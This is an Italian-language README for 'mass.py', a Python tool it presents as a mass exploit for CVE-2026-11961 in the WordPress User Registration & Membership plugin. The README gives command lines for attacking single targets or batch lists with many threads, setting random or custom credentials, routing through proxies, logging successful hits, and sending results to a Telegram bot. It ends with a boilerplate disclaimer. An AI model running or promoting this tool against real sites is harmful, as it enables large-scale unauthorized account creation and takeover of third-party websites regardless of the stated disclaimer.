CVE-2026-11961

Strumento per exploit di massa per CVE-2026-11961 che colpisce il plugin WordPress User Registration & Membership.

Caratteristiche

• Rilevamento della versione del plugin
• Supporto per singolo target
• Elaborazione batch di target
• Supporto multi-thread
• Credenziali casuali o personalizzate
• Supporto proxy HTTP/HTTPS
• Configurazione del timeout delle richieste
• Output JSONL
• Supporto file di log
• Notifiche Telegram
• Modalità forzata (--force)

Utilizzo

# Show help
python3 mass.py -h

# Single target
python3 mass.py -u https://target.com

# Single target with custom credentials
python3 mass.py \
-u https://target.com \
--username admin \
--password "StrongPassword123!"

# Multiple targets
python3 mass.py -l targets.txt -t 20

# Save successful results
python3 mass.py -l targets.txt -o results.jsonl

# Write log file
python3 mass.py -l targets.txt --log exploit.log

# Telegram notifications
python3 mass.py \
-l targets.txt \
--tg-token YOUR_BOT_TOKEN \
--tg-chat YOUR_CHAT_ID

# Proxy
python3 mass.py \
-u https://target.com \
--proxy http://127.0.0.1:8080

# Force mode
python3 mass.py -u https://target.com --force

Opzioni

Disclaimer

Questo progetto è fornito esclusivamente per valutazioni di sicurezza autorizzate, ricerca di sicurezza difensiva e validazione delle vulnerabilità.

Utilizzando questo software, confermi di avere esplicita autorizzazione a valutare i sistemi target. L'accesso non autorizzato ai sistemi informatici è proibito e potrebbe violare le leggi applicabili.

L'autore e i contributori non incoraggiano né approvano l'uso non autorizzato di questo progetto e declinano qualsiasi responsabilità o obbligo per qualsiasi uso improprio, danno o conseguenza legale derivante dal suo utilizzo.

Autore

JohenLastGen JLG NETWORK